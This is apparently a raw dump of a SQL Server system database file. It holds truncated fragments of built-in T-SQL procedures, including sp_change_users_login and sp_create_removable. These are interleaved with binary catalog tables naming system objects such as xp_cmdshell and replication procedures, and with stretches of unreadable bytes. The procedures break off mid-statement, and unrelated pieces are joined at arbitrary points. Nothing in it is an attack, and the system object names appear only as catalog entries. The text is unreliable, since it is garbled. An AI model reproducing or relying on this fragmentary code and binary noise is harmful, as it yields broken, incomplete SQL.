				EntityPropertyEx( 'major', @level0type, @level0name, @level1type, @level1name, @level2type, @level2name ))
		,@minminor = Convert(int,
				EntityPropertyEx( 'minminor', @level0type, @level0name, @level1type, @level1name, @level2type, @level2name ))
		,@maxminor = Convert(int,
				EntityPropertyEx( 'maxminor', @level0type, @level0name, @level1type, @level1name, @level2type, @level2name ))

		
if @class is NULL
	return

-- Handle cases with no wildcards OR minor-id-only wildcards.  This will include simple wildcard across
-- all minor_id values (eg. 'INDEX', 'PARAMETER', 'COLUMN').
--
if @major is not null and @minminor is not null and @maxminor is not null
begin
	insert @tab select @basetype, entity_name( major_id, minor_id, class ),
		name, value from sys.extended_properties
		where class = @class and major_id = @major
			and (minor_id >= @minminor and minor_id <= @maxminor)
			and (@name is null or @name = name)
	return
end

-- After this point, approach is to populate an id/name table to join with sysproperties for output.
--	Note that minor_id is 0 for all entitities below.
--
declare @ids table (maj int primary key, nam sysname)

-- First handle single-level entities: @major will be NULL.  Order with pre-yukon queries first.
--
if @major is null
begin
	if @level0name is not null -- level0 entity name could not be resolved
		return
	else if @basetype = 'USER'
		insert @ids select principal_id, name from sys.database_principals
	else if @basetype in ('FILEGROUP','PARTITION SCHEME')
	begin
		insert @ids select data_space_id, name from sys.data_spaces
			where (@basetype = 'PARTITION SCHEME' and type = 'PS')
				or (@basetype = 'FILEGROUP' and type in ('FD', 'FG', 'FL'))
	end
	else if @basetype = 'SCHEMA'
		insert @ids select schema_id, name from sys.schemas
	else if @basetype = 'PARTITION FUNCTION'
		insert @ids select function_id, name from sys.partition_functions
	else if @basetype = 'REMOTE SERVICE BINDING'
		insert @ids select remote_service_binding_id, name from sys.remote_service_bindings
	else if @basetype = 'ROUTE'
		insert @ids select route_id, name from sys.routes
	else if @basetype = 'SERVICE'
		insert @ids select service_id, name from sys.services
	else if @basetype = 'CONTRACT'
		insert @ids select service_contract_id, name from sys.service_contracts
	else if @basetype = 'MESSAGE TYPE'
		insert @ids select message_type_id, name from sys.service_message_types
	else if @basetype = 'ASSEMBLY'
		insert @ids select assembly_id, name from sys.assemblies
	else if @basetype = 'CERTIFICATE'
		insert @ids select certificate_id, name from sys.certificates
	else if @basetype = 'ASYMMETRIC KEY'
		insert @ids select asymmetric_key_id, name from sys.asymmetric_keys
	else if @basetype = 'SYMMETRIC KEY'
		insert @ids select symmetric_key_id, name from sys.symmetric_keys
	else if @basetype = 'PLAN GUIDE' 
		insert @ids select plan_guide_id, name from sys.plan_guides
end
--
-- Next handle queries that can service multiple levels
--
else if @basetype in ('TYPE','TRIGGER','EVENT NOTIFICATION')
begin
	if @basetype = 'TYPE'
	begin
		insert @ids select user_type_id, name from sys.types where schema_id = @major
	end
	else if @basetype = 'TRIGGER'
	begin
		insert @ids select object_id, name from sys.triggers
			where parent_class = (case
				when @level0type = 'TRIGGER' then 0		-- On database
				else 1 end)	-- On object
			and parent_id = @major
	end
	else if @basetype = 'EVENT NOTIFICATION'
	begin
		insert @ids select object_id, name from sys.event_notifications
			where parent_class = (case
				when @level0type = 'EVENT NOTIFICATION' then 0		-- On database
				else 1 end)	-- On object
			and parent_id = @major
	end
end
--
-- Handle entities with a @major that are schema-addressed-objects.
--
else if @basetype in ('CONSTRAINT','LOGICAL FILE NAME','XML SCHEMA COLLECTION')
begin
	if @basetype = 'CONSTRAINT'
	begin
		insert @ids select object_id, name from sys.objects
			where parent_object_id = @major and type in ('C','D','F','PK','UQ')
	end
	else if @basetype = 'LOGICAL FILE NAME'
		insert @ids select file_id, name from sys.database_files where data_space_id = @major
	else if @basetype = 'XML SCHEMA COLLECTION'
		insert @ids select xml_collection_id, name from sys.xml_schema_collections where schema_id = @major
end
--
-- Finally, handle schema-addressed objects (type-validation done for us in builtin)
--
else
begin
	-- Get the objects that match: Use dot-separated types to do pattern match
	-- and handle multiple object types.
	--
	insert @ids select object_id, name from sys.objects
		where schema_id = @major
		and parent_object_id = 0
		and 0 <> charindex( '.'+type+'.',
			case @level1type
				when 'TABLE' then '.U .'
				when 'VIEW' then '.V .'
				when 'RULE' then '.R .'
				when 'DEFAULT' then '.D .'
				when 'QUEUE' then '.SQ.'
		!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6
_"Y.d&U"sysftstops&{4sysfulltextcatalogs&N$sysguidrefs&6$sysidxstats&z"sysindexes&y&sysindexkeys&7 sysiscols&>&syslanguages&0"syslnklgns&3 syslogins&s"sysmembers&2$sysmessages&K,sysmultiobjrefs&, sysnsobjs&"sysobjects&^,sysobjkeycrypts&<&sysobjvalues&1(sysoledbusers& sysowners&d$syspalnames&%.&syspalvalues&x*syspermissions&sysphfg&(syspriorities&sysprivs&w$sysprotects&syspru&$sysprufiles&Z sysqnames&v(sysreferences&-,sysremotelogins&C*sysremsvcbinds&/"sysrmtlgns&A(sysrowsetrefs&"sysrowsets& sysrscols&Esysrts&2*sysscalartypes&""sysschobjs&	*sysseobjvalues&,"sysservers&J.syssingleobjrefs&b*syssoftobjrefs&`&syssqlguides&x*system_columns&k,system_columns$&fsystem_components_surface_area_configuration&Psystem_internals_allocation_units&Rsystem_internals_partition_columns&Dsystem_internals_partitions&{*system_objects&v0system_parameters&j2system_parameters$&2system_sql_modules&z&system_views&3,systypedsubobjs&usystypes&-$sysusermsgs&tsysusers&9(syswebmethods&*sysxlgns&W$sysxmitbody&D&sysxmitqueue&[,sysxmlcomponent&\$sysxmlfacet&],sysxmlplacement&1 sysxprops&+sysxsrvs&$table_types&~tables&(tcp_endpoints&&tempstatvals&22transmission_queue&a*trigger_events&dtriggers&6type_assembly_usages&Ytypes&L%"user_token&(via_endpoints&}views&r$xml_indexes&88xml_schema_attributes&1:xml_schema_collections&5Lxml_schema_component_placements&=8xml_schema_components&:4xml_schema_elements&;0xml_schema_facets&9<xml_schema_model_groups&>8xml_schema_namespaces&<.xml_schema_types&6Jxml_schema_wildcard_namespaces&76xml_schema_wildcards&d&xp_logininfo&4$syslockinfo&0&sysopentapes&Շ$xp_userlock&2trace_xe_event_map&a4trace_xe_action_map&a64trigger_event_types&/$sysperfinfo&.&sysprocesses&?,sysprocesses_ex&R$xp_cmdshell&:(xp_enumgroups&f$xp_logevent&z"xp_sprintf&"F@ xp_sscanf&vxp_msver&*xp_loginconfig&1t.trace_categories&p'&trace_events&#(trace_columns&C}6trace_event_bindings&8trace_subclass_values&@traces&T6(xp_grantlogin&@*xp_revokelogin&L^xp_repl_convert_encrypt_sysadmin_wrapper&>y.xp_execresultset&"xp_makecab&5D&xp_unpackcab&<xp_repl_convert_encrypt&,xp_repl_encrypt&6xp_repl_help_connect&*xp_replposteor&,xp_mergexpusage&(.xp_mergelineages&h+0xp_mapdown_bitmap&$xp_ORbitmap&v4xp_firstonly_bitmap&쮗0xp_varbintohexstr&"xp_dsninfo&%3"xp_enumdsn&(&xp_oledbinfo&8xp_createprivatequeue&38xp_deleteprivatequeue&'(xp_resetqueue&&xp_peekqueue&z^:xp_controlqueueservice&6xp_displayqueuemesgs&~0xp_decodequeuecmd&P2xp_readpkfromqueue&4xp_readpkfromvarbin&T6xp_qv&1(xp_get_script&"xp_regread&>s1$xp_regwrite&0xp_regdeletevalue&E6xp_regaddmultistring&<xp_regremovemultistring&g*xp_regenumkeys&͌.xp_regenumvalues&xP,xp_regdeletekey&4xp_instance_regread&46xp_instance_regwrite&nBxp_instance_regdeletevalue&Hxp_instance_regaddmultistring&+@Nxp_instance_regremovemultistring&%{<xp_instance_regenumkeys&a@xp_instance_regenumvalues&C>xp_instance_regdeletekey&>,xp_readerrorlog&	o.xp_enumerrorlogs&nR!0xp_servicecontrol&I0xp_availablemedia&Kd"xp_dirtree&*xp_fixeddrives&P"xp_subdirs&nd(xp_getnetname&4xp_sqlagent_monitor&-2xp_sqlagent_notify&8xp_sqlagent_enum_jobs&5̃<xp_sqlagent_is_starting&P0xp_sqlagent_param&4&xp_fileexist&(xp_msx_enlist!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\(t2*dT(pX0zFXJ`PZFH2($dl*b*z>

V

^FZ&,zRpH.



|
P
*

			~	`	4		zPj^0~^<tT0f@`@fF `
_"|Zh.m&U"sysftstops&{4sysfulltextcatalogs&N$sysguidrefs&6$sysidxstats&z"sysindexes&y&sysindexkeys&7 sysiscols&>&syslanguages&0"syslnklgns&3 syslogins&s"sysmembers&2$sysmessages&K,sysmultiobjrefs&, sysnsobjs&"sysobjects&^,sysobjkeycrypts&<&sysobjvalues&1(sysoledbusers& sysowners&d$syspalnames&%.&syspalvalues&x*syspermissions&sysphfg&(syspriorities&sysprivs&w$sysprotects&syspru&$sysprufiles&Z sysqnames&v(sysreferences&-,sysremotelogins&C*sysremsvcbinds&/"sysrmtlgns&A(sysrowsetrefs&"sysrowsets& sysrscols&Esysrts&2*sysscalartypes&""sysschobjs&	*sysseobjvalues&,"sysservers&J.syssingleobjrefs&b*syssoftobjrefs&`&syssqlguides&x*system_columns&k,system_columns$&fsystem_components_surface_area_configuration&Psystem_internals_allocation_units&Rsystem_internals_partition_columns&Dsystem_internals_partitions&{*system_objects&v0system_parameters&j2system_parameters$&2system_sql_modules&z&system_views&3,systypedsubobjs&usystypes&-$sysusermsgs&tsysusers&9(syswebmethods&*sysxlgns&W$sysxmitbody&D&sysxmitqueue&[,sysxmlcomponent&\$sysxmlfacet&],sysxmlplacement&1 sysxprops&+sysxsrvs&$table_types&~tables&(tcp_endpoints&&tempstatvals&22transmission_queue&a*trigger_events&dtriggers&6type_assembly_usages&Ytypes&L%"user_token&(via_endpoints&}views&r$xml_indexes&88xml_schema_attributes&1:xml_schema_collections&5Lxml_schema_component_placements&=8xml_schema_components&:4xml_schema_elements&;0xml_schema_facets&9<xml_schema_model_groups&>8xml_schema_namespaces&<.xml_schema_types&6Jxml_schema_wildcard_namespaces&76xml_schema_wildcards&d&xp_logininfo&4$syslockinfo&0&sysopentapes&Շ$xp_userlock&2trace_xe_event_map&a4trace_xe_action_map&a64trigger_event_types&/$sysperfinfo&.&sysprocesses&?,sysprocesses_ex&R$xp_cmdshell&:(xp_enumgroups&f$xp_logevent&z"xp_sprintf&"F@ xp_sscanf&vxp_msver&*xp_loginconfig&1t.trace_categories&p'&trace_events&#(trace_columns&C}6trace_event_bindings&8trace_subclass_values&@traces&T6(xp_grantlogin&@*xp_revokelogin&ӘTABLES&k0TABLE_CONSTRAINTS&.TABLE_PRIVILEGES&oEVIEWS&o.VIEW_TABLE_USAGE&㜂0VIEW_COLUMN_USAGE&L^xp_repl_convert_encrypt_sysadmin_wrapper&>y.xp_execresultset&"xp_makecab&5D&xp_unpackcab&<xp_repl_convert_encrypt&,xp_repl_encrypt&6xp_repl_help_connect&*xp_replposteor&,xp_mergexpusage&(.xp_mergelineages&h+0xp_mapdown_bitmap&$xp_ORbitmap&v4xp_firstonly_bitmap&쮗0xp_varbintohexstr&"xp_dsninfo&%3"xp_enumdsn&(&xp_oledbinfo&8xp_createprivatequeue&38xp_deleteprivatequeue&'(xp_resetqueue&&xp_peekqueue&z^:xp_controlqueueservice&6xp_displayqueuemesgs&~0xp_decodequeuecmd&P2xp_readpkfromqueue&4xp_readpkfromvarbin&T6xp_qv&1(xp_get_script&"xp_regread&>s1$xp_regwrite&0xp_regdeletevalue&E6xp_regaddmultistring&<xp_regremovemultistring&g*xp_regenumkeys&͌.xp_regenumvalues&xP,xp_regdeletekey&4xp_instance_regread&46xp_instance_regwrite&nBxp_instance_regdeletevalue&Hxp_instance_regaddmultistring&+@Nxp_instance_regremovemultistring&%{<xp_instance_regenumkeys&a@xp_instance_regenumvalues&C>xp_instance_regdeletekey&>,xp_readerrorlog&	o.xp_enumerrorlogs&nR!0xp_servicecontrol&I0xp_availablemedia&Kd"xp_dirtree&*xp_fixeddrives&P"xp_subdirs&nd(xp_getnetname&4xp_sqlagent_monitor&-2xp_sqlagent_notify!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Jt *~RB
^pFh4
8`PH4v6(RZP*z>

V

^FZ&,zRpH.T
n


|
P
*

			~	`	4		zPj^0~^<tT0f@`@fF `<([av}create procedure sys.sp_change_users_login
    @Action               varchar(10)       -- REPORT / UPDATE_ONE / AUTO_FIX
   ,@UserNamePattern      sysname  = Null
   ,@LoginName            sysname  = Null
   ,@Password             sysname  = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)

	declare @ret            int,
            @FixMode        char(5),
            @cfixesupdate   int,        -- count of fixes by update
            @cfixesaddlogin int,        -- count of fixes by sp_addlogin
            @dbname         sysname,
            @loginsid       varbinary(85),
            @110name        sysname,
            @ActionIn       varchar(10),
            @sanitizedPwd sysname -- We use this to pass on the password parameter down to SetSID

    -- SET INITIAL VALUES --
    select  @dbname         = db_name(),
            @cfixesupdate   = 0,
            @cfixesaddlogin = 0,
            @ActionIn = @Action,
            @Action = UPPER(@Action collate Latin1_General_CI_AS)

    -- set the sanitized password to NULL - we do not want to give any information about this parameter in eventdata
    set @sanitizedPwd = NULL


    -- INVALIDATE USE OF SPECIAL LOGIN/USER NAMES --
    if suser_sid(@LoginName) = 0x1 -- 'sa'
    begin
        raiserror(15287,-1,-1,@LoginName)
        return (1)
    end
    if database_principal_id(@UserNamePattern) in (0,1,2,3,4) --public, dbo, guest, INFORMATION_SCHEMA, sys
    begin
        raiserror(15287,-1,-1,@UserNamePattern)
        return (1)
    end

    -- HANDLE REPORT --
    if @Action = 'REPORT'
    begin

        -- CHECK PERMISSIONS --
        if not is_member('db_owner') = 1
        begin
		raiserror(15247,-1,-1)
            	return (1)
        end

        -- VALIDATE PARAMS --
        if @UserNamePattern IS NOT Null or @LoginName IS NOT Null or @Password IS NOT Null
        begin
            raiserror(15600,-1,-1,'sys.sp_change_users_login')
            return (1)
        end

        -- GENERATE REPORT --
        select UserName = name, UserSID = sid from sysusers
            where issqluser = 1 
            and   (sid is not null and sid <> 0x0)
            and   (len(sid) <= 16)
            and   suser_sname(sid) is null
            order by name
        return (0)
    end

   -- ERROR IF IN USER TRANSACTION --
    if @@trancount > 0
    begin
        raiserror(15289,-1,-1)
        return (1)
    end

    -- HANDLE UPDATE_ONE --
    if @Action = 'UPDATE_ONE'
    begin
        -- CHECK PERMISSIONS --
        if not is_member('db_owner') = 1
        begin
			EXEC %%System().AuditEvent(ID = 1196184405, Success = 0, TargetLoginName = @LoginName, TargetUserName = @UserNamePattern, Role = NULL, Object = NULL, Provider = NULL, Server = NULL)
			raiserror(15247,-1,-1)
            return (1)
        end
        else
        begin
			EXEC %%System().AuditEvent(ID = 1196184405, Success = 1, TargetLoginName = @LoginName, TargetUserName = @UserNamePattern, Role = NULL, Object = NULL, Provider = NULL, Server = NULL)
        end
        
        -- ERROR IF PARAMS NULL --
        -- OR IF A PASSWORD IS SPECIFIED --
        if @UserNamePattern IS Null or @LoginName IS Null or @Password IS NOT Null
        begin
            raiserror(15600,-1,-1,'sys.sp_change_users_login')
            return (1)
        end

        -- VALIDATE PARAMS --
        -- Can ONLY remap SQL Users to SQL Logins!  Should be no need
        --  for re-mapping NT logins, and if you try, you'll mess up
        --  the user status bits! 
        if not exists 
        	(select name 
        	 from   sysusers 
        	 where  name = @UserNamePattern		-- match user name
             and    issqluser = 1               -- must be sql user
             and    sid is not NULL
             and    len(sid)  <= 16)				-- must not be a sql-user for the database
        begin
            raiserror(15291,-1,-1,'User',@UserNamePattern)
            return (1)
        end

		if exists (select * from sys.server_principals where
						name = @LoginName              -- match login name
						and type in ('C', 'K'))        -- check if it is a certificate or asymmetric key login
		begin
		    raiserror(15291,-1,-1,'login', @LoginName)
            return (1)
		end
		
		BEGIN TRANSACTION

		-- LOCK USER --
		EXEC %%Owner(Name = @UserNamePattern).Lock(Exclusive = 1) -- may fail, back out below
		if @@error = 0
			select @loginsid = sid from master.dbo.syslogins where
				    loginname = @LoginName              -- match login name
				and isntname = 0                        -- cannot use nt logins
        if @loginsid is null
        begin
			ROLLBACK TRANSACTION
            raiserror(15291,-1,-1,'Login',@LoginName)
            return (1)
        end
        		
        -- CHANGE THE USERS LOGIN (SID) - IF DUP, @@ERROR WILL INDICATE --
		EXEC %%UserOrGroup(Name = @UserNamePattern).SetSID(SID = @loginsid,
			IsExternal = 0, IsGroup = 0,
			Action = @Action, UserNamePattern = @UserNamePattern, LoginName = @LoginName, Password = @sanitizedPwd) -- may fail

        -- FINALIZATION: REPORT (ONLY IF NOT SUCCESSFUL) AND EXIT --
        if @@error <> 0
		begin
			ROLLBACK TRANSACTION
		    raiserror(15063,-1,-1)
		    return (1)
        end

		COMMIT TRANSACTION
        return (0)
    end

    -- ERROR IF NOT AUTO_FIX --
    if @Action <> 'AUTO_FIX'
    begin
        raiserror(15286,-1,-1,@ActionIn)
        return (1)
    end

    -- HANDLE AUTO_FIX --
    -- CHECK PERMISSIONS --
    if not is_srvrolemember('sysadmin') = 1
    begin
		EXEC %%System().AuditEvent(ID = 1178686293, Success = 0, TargetLoginName = NULL, TargetUserName = @UserNamePattern, Role = NULL, Object = NULL, Provider = NULL, Server = NULL)
        raiserror(15247,-1,-1)
        return (1)
    end
    else
    begin
		EXEC %%System().AuditEvent(ID = 1178686293, Success = 1, TargetLoginName = NULL, TargetUserName = @UserNamePattern, Role = NULL, Object = NULL, Provider = NULL, Server = NULL)
    end

    -- VALIDATE PARAMS --
    if @UserNamePattern IS Null or @LoginName IS NOT Null
    begin
		raiserror(15600,-1,-1,'sys.sp_change_users_login')
        return (1)
    end

    -- LOOP THRU ORPHANED USERS --
	select @exec_stmt = 'declare ms_crs_110_Users cursor global for
            select name from sysusers
            where name = N' + quotename( @UserNamePattern , '''')+ '
            and   issqluser = 1 
            and   sid is not NULL
            and   len(sid) <= 16
            and   suser_sname(sid) is null'
    EXEC (@exec_stmt)
    open ms_crs_110_Users
    fetch next from ms_crs_110_Users into @110name

    while (@@fetch_status = 0)
    begin
   		if exists (select * from sys.server_principals where
						name = @110name              -- match login name
						and type in ('C', 'K'))            -- check if it is a certificate or asymmetric key login
		begin
			raiserror(15291,-1,-1, 'login', @110name)
			deallocate ms_crs_110_Users                
       	    return (1)
       	end

        -- IS NAME ALREADY IN USE? --
		if not exists(select * from master.dbo.syslogins where loginname = @110name)
        begin
			-- VALIDATE PARAMS --
			if @Password IS Null
			begin
				raiserror(15600,-1,-1,'sys.sp_change_users_login')
				deallocate ms_crs_110_Users                
				return (1)
			end

            -- ADD LOGIN --
            EXEC @ret = sys.sp_addlogin @110name, @Password, @dbname
            if @ret <> 0 or suser_sid(@110name) is null
            begin
                raiserror(15497,16,1,@110name)
                deallocate ms_crs_110_Users
                return (1)
            end
            select @FixMode = '1AddL'
            raiserror(15293,-1,-1,@110name)
        end
        else
        begin
            -- REPORT ERROR & CONTINUE IF DUP!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(\/vhcreate procedure sys.sp_create_removable
	@dbname		sysname = null,				-- name of db
	@syslogical	sysname = null,				-- logical name of system device
	@sysphysical	nvarchar (260) = null,	-- physical name of system device
	@syssize	int = null,					-- size of sys device in Meg.
	@loglogical	sysname = null,				-- logical name of log device
	@logphysical	nvarchar (260) = null,	-- physical name of log device
	@logsize	int = null,					-- size of log device in Meg.
	@datalogical1	sysname = null,			-- logical name of data device
	@dataphysical1	nvarchar (260) = null,	-- physical name of data device
	@datasize1	int = null,					-- size of data device in Meg.
	@datalogical2	sysname = null,			-- logical name of data device
	@dataphysical2	nvarchar (260) = null,	-- physical name of data device
	@datasize2	int = null,					-- size of data device in Meg.
	@datalogical3	sysname = null,			-- logical name of data device
	@dataphysical3	nvarchar (260) = null,	-- physical name of data device
	@datasize3	int = null,					-- size of data device in Meg.
	@datalogical4	sysname = null,			-- logical name of data device
	@dataphysical4	nvarchar (260) = null,	-- physical name of data device
	@datasize4	int = null,					-- size of data device in Meg.
	@datalogical5	sysname = null,			-- logical name of data device
	@dataphysical5	nvarchar (260) = null,	-- physical name of data device
	@datasize5	int = null,					-- size of data device in Meg.
	@datalogical6	sysname = null,			-- logical name of data device
	@dataphysical6	nvarchar (260) = null,	-- physical name of data device
	@datasize6	int = null,					-- size of data device in Meg.
	@datalogical7	sysname = null,			-- logical name of data device
	@dataphysical7	nvarchar (260) = null,	-- physical name of data device
	@datasize7	int = null,					-- size of data device in Meg.
	@datalogical8	sysname = null,			-- logical name of data device
	@dataphysical8	nvarchar (260) = null,	-- physical name of data device
	@datasize8	int = null,					-- size of data device in Meg.
	@datalogical9	sysname = null,			-- logical name of data device
	@dataphysical9	nvarchar (260) = null,	-- physical name of data device
	@datasize9	int = null,					-- size of data device in Meg.
	@datalogical10	sysname = null,			-- logical name of data device
	@dataphysical10	nvarchar (260) = null,	-- physical name of data device
	@datasize10	int = null,					-- size of data device in Meg.
	@datalogical11	sysname = null,			-- logical name of data device
	@dataphysical11	nvarchar (260) = null,	-- physical name of data device
	@datasize11	int = null,					-- size of data device in Meg.
	@datalogical12	sysname = null,			-- logical name of data device
	@dataphysical12	nvarchar (260) = null,	-- physical name of data device
	@datasize12	int = null,					-- size of data device in Meg.
	@datalogical13	sysname = null,			-- logical name of data device
	@dataphysical13	nvarchar (260) = null,	-- physical name of data device
	@datasize13	int = null,					-- size of data device in Meg.
	@datalogical14	sysname = null,			-- logical name of data device
	@dataphysical14	nvarchar (260) = null,	-- physical name of data device
	@datasize14	int = null,					-- size of data device in Meg.
	@datalogical15	sysname = null,			-- logical name of data device
	@dataphysical15	nvarchar (260) = null,	-- physical name of data device
	@datasize15	int = null,					-- size of data device in Meg.
	@datalogical16	sysname = null,			-- logical name of data device
	@dataphysical16 nvarchar (260) = null,	-- physical name of data device
	@datasize16	int = null					-- size of data device in Meg.
as
	declare @retcode int,
		@exec_str nvarchar (max),
		@numdevs int

	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_create_removable')
		return (1)
	end

	if (not (is_srvrolemember('sysadmin') = 1)) -- Make sure that it's the SA executing this.
	begin
		raiserror(15247,-1,-1)
		return(1)
	end

	if @dbname is null
		or @syslogical is null
		or @sysphysical is null
		or @syssize is null
		or @loglogical is null
		or @logphysical is null
		or @logsize is null
		or @datalogical1 is null
		or @dataphysical1 is null
		or @datasize1 is null
	begin
		raiserror (15261,-1,-1)
		return (1)
	end

	if exists (select * from master.dbo.sysdatabases where name = @dbname)
	begin
		raiserror(15032,-1,-1,@dbname)
		return(1)
	end

	-- Check to verify that valid sizes were supplied for required devices.
	if @syssize < 1 or @logsize < 1 or @datasize1 < 1
	begin
		raiserror (15262,-1,-1)
		return(1)
	end

	-- Check to see if a valid database name was supplied.
	EXEC @retcode = sys.sp_validname @dbname
	if @retcode <> 0
		return(1)

	-- valid syslogical?
	EXEC @retcode = sys.sp_validname @syslogical
	if @retcode <> 0
		return(1)

	-- valid loglogical?
	EXEC @retcode = sys.sp_validname @loglogical
	if @retcode <> 0
		return(1)

	-- valid datalogical1?
	EXEC @retcode = sys.sp_validname @datalogical1
	if @retcode <> 0
		return(1)

	-- Create the database's system device segment.
	select @exec_str = 'CREATE DATABASE '
			+ quotename( @dbname , '[')
			+ ' ON (NAME ='
			+ quotename( @syslogical , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@sysphysical ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@syssize)
			+ ') LOG ON (NAME='
			+ quotename( @loglogical , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@logphysical ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@logsize)
			+ ')'
	EXEC(@exec_str)

	if @@error <> 0
	begin
		raiserror(15264,-1,-1,'system or log')
		return(1)
	end

	-- Add a filegroup for data
	select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+ ' ADD FILEGROUP readonlyfilegroup'

	EXEC(@exec_str)

	if @@error <> 0
	begin
		raiserror(15264,-1,-1,'user filegroup')
		return(1)
	end

	select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical1 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical1 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize1)
			+ ') TO FILEGROUP readonlyfilegroup'
			EXEC(@exec_str)

	if @@error <> 0
	begin
		raiserror(15264,-1,-1,'user data')
		select @exec_str = 'DROP DATABASE '
				+ quotename( @dbname , '[')
		EXEC(@exec_str)
		return(1)
	end

	-- Make this the default filegroup
	select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+ ' MODIFY FILEGROUP readonlyfilegroup DEFAULT'

	EXEC(@exec_str)

	if @@error <> 0
	begin
		raiserror(15264,-1,-1,'default filegroup')
		return(1)
	end

	-- Check out optional data devices.
	if @datalogical2 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical2 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical2 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize2)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical2)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 2
	end
	else
		goto no_more_devs

	if @datalogical3 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical3 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical3 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize3)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical3)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 3
	end
	else
		goto no_more_devs

	if @datalogical4 is `c
*"0|	]#LG&r6sp_helpsrvrolemember&8$sp_helpuser&&sp_helpstats&p"$sp_helptext&cQ*sp_helptrigger&s*sp_hexadecimal&j+Fsp_http_generate_wsdl_simple&*RHsp_http_generate_wsdl_complex&	zfsp_http_generate_wsdl_defaultcomplexorsimple&fsp_http_generate_wsdl_defaultsimpleorcomplex&EJsp_helpsubscription_properties&u8sp_helpsubscriberinfo&{S2sp_IHdroppublisher&0sp_IHaddpublisher&>sp_IHCheckPublisherLogin&&,sp_IHgetversion&.sp_IHgetprovider&_M2sp_IHexecresultset&4sp_IHisallreplcolpk&,W.sp_IHget_colinfo&|FLsp_identitycolumnforreplication&z4sp_IHaddpublication&a).sp_IHhelparticle&<2sp_IHarticlecolumn&.sp_IHarticleview&ۿ6sp_IHhelppublication&'74sp_helpsubscription&",sp_IHaddarticle&b2sp_IHflushmetadata&w.sp_IHdroparticle&&H6sp_IHdroppublication&d4sp_helptracertokens&:K@sp_helptracertokenhistory&8sp_IHadd_sync_command&2<sp_IHgetPublicationInfo&l8sp_IHgetPublisherInfo&:8sp_IHCheckSourceTable&fH@<sp_IHarticle_validation&z
0sp_helpxactsetjob&f68sp_IH_LR_GetCacheData&Dsp_IHget_loopback_detection&5@sp_helpsubscriptionerrors6sp_MSacquireSlotLock&Pfsp_MSacquireserverresourcefordynamicsnapshot&5p8sp_isarticlecolbitset&1>sp_MScheckvalidsystables&`v>sp_MSAdjustConflictTable&,>sp_MSadd_repl_job_unsafe&)0sp_MSadd_repl_job&BRDsp_MSchange_repl_job_unsafe&6sp_MSchange_repl_job&s<sp_MScheck_subscription&?M@sp_MScheck_palroleinpubdb&;Dsp_MS_replication_installed&EJsp_helpsubscription_properties&S>sp_MSaddoffloadparameter&768sp_MSchange_retention&Psp_MSchange_retention_period_unit&&6sp_MSchange_priority&|Q>sp_MSaddanonymousreplica&$4sp_MSarticlecleanup&"A4sp_link_publication&,@sp_MScheck_agent_instance&6sp_MSBumpupCompLevel&<Fsp_mergesubscription_cleanup&qZsp_MScheckforexpiredmergesubscriptions&
-<sp_MSagent_access_check&E?@sp_MSadd_compensating_cmd&dsp_MScheckcontext_merge_identityrangeddlbit&(f^sp_MScheckcontext_bypasswholeddleventbit&Sfsp_MScheckcontext_bypassreplicateddleventbit&Nsp_MScheckcontext_internalcaller&H!0sp_mapdown_bitmap&a:sp_MSbuild_single_post&#ZjHsp_MSchangerepltablepasswords&@Tsp_MSchangepublicationlinkpasswords&t6	Psp_MSchangerepllinkedsrvrpassword&+W>sp_MSaddreplsymmetrickey&u8sp_helpsubscriberinfo&d2sp_MSadd_subserver&E`sp_MSadd_distributor_alerts_and_responses&{S2sp_IHdroppublisher&0sp_IHaddpublisher&0Bsp_MScache_agent_parameter&`Dsp_mergesubscriptionsummary&>sp_IHCheckPublisherLogin&&,sp_IHgetversion&.sp_IHgetprovider&m"sp_IHquery&_M2sp_IHexecresultset&4sp_IHisallreplcolpk&T<sp_IHisarticlecolbitset&,W.sp_IHget_colinfo&|FLsp_identitycolumnforreplication&+Jsp_MSaddautonosyncsubscription&]8sp_MSarticlecolstatus&~	